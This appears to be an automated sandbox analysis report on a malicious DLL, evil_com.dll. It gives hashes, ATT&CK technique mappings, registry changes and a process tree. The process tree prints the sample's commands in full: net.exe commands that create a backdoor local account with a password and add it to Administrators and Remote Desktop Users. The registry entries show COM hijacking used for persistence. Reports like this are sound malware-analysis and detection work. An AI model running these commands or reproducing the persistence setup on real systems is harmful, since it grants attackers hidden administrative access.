5024914a765bc970c7d2725e683f00d10c41be9607b004e6f5801bf207f97fae

General

Target
evil_com.dll
Size 17KB
Sample260823-dndfmsscnc
SHA256 5024914a765bc970c7d2725e683f00d10c41be9607b004e6f5801bf207f97fae
MD5 c5f51ba6b27dcaba449ee0589307105e
SHA1 a74e819b144f7f5a36f551f4430654ca4890eac4
SHA512 5228f8f27e71e33df9e34706ccf790b8a63f39a6bd674a64805a21d5766fd63695c0b257cadff4c7863729d78f49689e393b75160dc5bbcba110f57ec52646f0
SSDEEP 384:7H62uotAXJH9n3Awo1dm7wUC3dt1770sWI:7H62OQwOxrdbF
TLSH
T13272B6CFF75750E9CC0EE274A1FB9734F671782109256E3F43A0C6B14E656548638B4A
MD5 SHA1 SHA512 SSDEEP TLSH

Score

9^/10

discovery lateral_movement persistence privilege_escalation

Malware Config

Signatures

Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Remote Service Session Hijacking: RDP Hijacking 1 TTPs 6 IoCs

Adversaries may hijack a legitimate user's remote desktop session to move laterally within an environment.

lateral_movement

RDP Hijacking

T1563.002

pid	Process
2104	cmd.exe
2980	net.exe
4280	net.exe
4896	net1.exe
1784	net1.exe
3588	cmd.exe

Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
persistence privilege_escalation

Component Object Model Hijacking
T1546.015

Creates a new local user account 1 TTPs 4 IoCs

Uses net.exe to create a new local user account, often for persistence or a backdoor account.

persistence

Local Account

T1136.001

pid	Process
3592	net.exe
4300	net1.exe
4488	net1.exe
4240	net.exe

Permission Groups Discovery: Local Groups 1 TTPs
Attempt to find local system groups and permission settings.
discovery

Local Groups
T1069.001

Modifies registry class 9 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32	rundll32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID	rundll32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}	rundll32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\CLSID	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32\ = "C:\\Windows\\System32\\spool\\drivers\\color\\evil_com.dll"	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32\ThreadingModel = "Apartment"	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}	rundll32.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4132	rundll32.exe
4132	rundll32.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 4132 wrote to memory of 3588	4132	rundll32.exe	88
PID 4132 wrote to memory of 2104	4132	rundll32.exe	89
PID 3588 wrote to memory of 4240	3588	cmd.exe	92
PID 2104 wrote to memory of 3592	2104	cmd.exe	93
PID 4240 wrote to memory of 4300	4240	net.exe	94
PID 3592 wrote to memory of 4488	3592	net.exe	95
PID 2104 wrote to memory of 4892	2104	cmd.exe	97
PID 4892 wrote to memory of 4864	4892	net.exe	98
PID 3588 wrote to memory of 4304	3588	cmd.exe	99
PID 4304 wrote to memory of 4512	4304	net.exe	100
PID 2104 wrote to memory of 2980	2104	cmd.exe	101
PID 3588 wrote to memory of 4280	3588	cmd.exe	102
PID 2980 wrote to memory of 4896	2980	net.exe	103
PID 4280 wrote to memory of 1784	4280	net.exe	104

C:\Windows\system32\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\evil_com.dll,#1
1⤵
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4132
- C:\Windows\System32\cmd.exe
  /c net user HackerGuy P@ssw0rd! /add & net localgroup Administrators HackerAI /add & net localgroup "Remote Desktop Users" HackerAI /add
  2⤵
  - Remote Service Session Hijacking: RDP Hijacking
  - Suspicious use of WriteProcessMemory
  PID:3588
- - C:\Windows\system32\net.exe
    net user HackerGuy P@ssw0rd! /add
    3⤵
    - Creates a new local user account
    - Suspicious use of WriteProcessMemory
    PID:4240
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user HackerGuy P@ssw0rd! /add
      4⤵
      Creates a new local user account
      PID:4300
- - C:\Windows\system32\net.exe
    net localgroup Administrators HackerAI /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4304
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 localgroup Administrators HackerAI /add
      4⤵
      PID:4512
- - C:\Windows\system32\net.exe
    net localgroup "Remote Desktop Users" HackerAI /add
    3⤵
    - Remote Service Session Hijacking: RDP Hijacking
    - Suspicious use of WriteProcessMemory
    PID:4280
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 localgroup "Remote Desktop Users" HackerAI /add
      4⤵
      Remote Service Session Hijacking: RDP Hijacking
      PID:1784
- C:\Windows\System32\cmd.exe
  /c net user HackerGuy P@ssw0rd! /add & net localgroup Administrators HackerAI /add & net localgroup "Remote Desktop Users" HackerAI /add
  2⤵
  - Remote Service Session Hijacking: RDP Hijacking
  - Suspicious use of WriteProcessMemory
  PID:2104
- - C:\Windows\system32\net.exe
    net user HackerGuy P@ssw0rd! /add
    3⤵
    - Creates a new local user account
    - Suspicious use of WriteProcessMemory
    PID:3592
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user HackerGuy P@ssw0rd! /add
      4⤵
      Creates a new local user account
      PID:4488
- - C:\Windows\system32\net.exe
    net localgroup Administrators HackerAI /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4892
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 localgroup Administrators HackerAI /add
      4⤵
      PID:4864
- - C:\Windows\system32\net.exe
    net localgroup "Remote Desktop Users" HackerAI /add
    3⤵
    - Remote Service Session Hijacking: RDP Hijacking
    - Suspicious use of WriteProcessMemory
    PID:2980
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 localgroup "Remote Desktop Users" HackerAI /add
      4⤵
      Remote Service Session Hijacking: RDP Hijacking
      PID:4896